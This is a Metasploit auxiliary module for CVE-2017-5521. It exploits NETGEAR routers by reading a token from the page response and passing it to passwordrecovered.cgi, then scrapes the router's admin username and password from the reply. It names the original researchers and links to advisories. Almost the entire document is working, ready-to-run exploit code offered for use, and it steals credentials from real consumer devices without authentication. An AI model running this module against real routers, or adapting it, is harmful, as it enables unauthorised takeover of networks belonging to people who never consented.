This Metasploit module will collect the password for the admin user. The exploit will not complete if password recovery is set on the router. The password is received by passing the token generated from unauth.cgi to passwordrecovered.cgi. This exploit works on many different NETGEAR products. The full list of affected products is available in the References section.
aa53592f4c2de5f7742c7914a0b26fa42e6e62f00e84c3a8ce2e442d825edf56
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'NETGEAR Administrator Password Disclosure',
'Description' => %q{
This module will collect the password for the `admin` user.
The exploit will not complete if password recovery is set on the router.
The password is received by passing the token generated from `unauth.cgi`
to `passwordrecovered.cgi`. This exploit works on many different NETGEAR
products. The full list of affected products is available in the 'References'
section.
},
'Author' =>
[
'Simon Kenin', # Vuln Discovery, PoC
'thecarterb' # Metasploit module
],
'References' =>
[
[ 'CVE', '2017-5521' ],
[ 'URL', 'https://www.trustwave.com/en-us/resources/security-resources/security-advisories/?fid=18758' ],
[ 'URL', 'https://thehackernews.com/2017/01/Netgear-router-password-hacking.html'],
[ 'URL', 'https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/cve-2017-5521-bypassing-authentication-on-netgear-routers/'],
[ 'URL', 'https://pastebin.com/dB4bTgxz'],
[ 'EDB', '41205']
],
'License' => MSF_LICENSE
))
register_options(
[
OptString::new('TARGETURI', [true, 'The base path to the vulnerable application', '/'])
])
end
# @return substring of 'text', usually a response from a server in this case
def scrape(text, start_trig, end_trig)
text[/#{start_trig}(.*?)#{end_trig}/m, 1]
end
def run
uri = target_uri.path
uri = normalize_uri(uri)
print_status("Checking if #{rhost} is a NETGEAR router")
vprint_status("Sending request to http://#{rhost}/")
# will always call check no matter what
is_ng = check
res = send_request_cgi({ 'uri' => uri })
if res.nil?
print_error("#{rhost} returned an empty response.")
return
end
if is_ng == Exploit::CheckCode::Detected
marker_one = "id="
marker_two = "\""
token = scrape(res.to_s, marker_one, marker_two)
if token.nil?
print_error("#{rhost} is not vulnerable: Token not found")
return
end
if token == '0'
print_status("If no creds are found, try the exploit again. #{rhost} returned a token of 0")
end
print_status("Token found: #{token}")
vprint_status("Token found at #{rhost}/unauth.cgi?id=#{token}")
r = send_request_cgi({
'uri' => "/passwordrecovered.cgi",
'vars_get' => { 'id' => token }
})
vprint_status("Sending request to #{rhost}/passwordrecovered.cgi?id=#{token}")
html = r.get_html_document
raw_html = html.text
username = scrape(raw_html, "Router Admin Username", "Router Admin Password")
password = scrape(raw_html, "Router Admin Password", "You can")
if username.nil? || password.nil?
print_error("#{rhost} returned empty credentials")
return
end
username.strip!
password.strip!
if username.empty? || password.empty?
print_error("No Creds found")
else
print_good("Creds found: #{username}/#{password}")
end
else
print_error("#{rhost} is not vulnerable: Not a NETGEAR device")
end
end
# Almost every NETGEAR router sends a 'WWW-Authenticate' header in the response
# This checks the response for that header.
def check
res = send_request_cgi({'uri'=>'/'})
if res.nil?
fail_with(Failure::Unreachable, 'Connection timed out.')
end
# Checks for the `WWW-Authenticate` header in the response
if res.headers["WWW-Authenticate"]
data = res.to_s
marker_one = "Basic realm=\""
marker_two = "\""
model = data[/#{marker_one}(.*?)#{marker_two}/m, 1]
print_good("Router is a NETGEAR router (#{model})")
return Exploit::CheckCode::Detected
else
print_error('Router is not a NETGEAR router')
return Exploit::CheckCode::Safe
end
end
end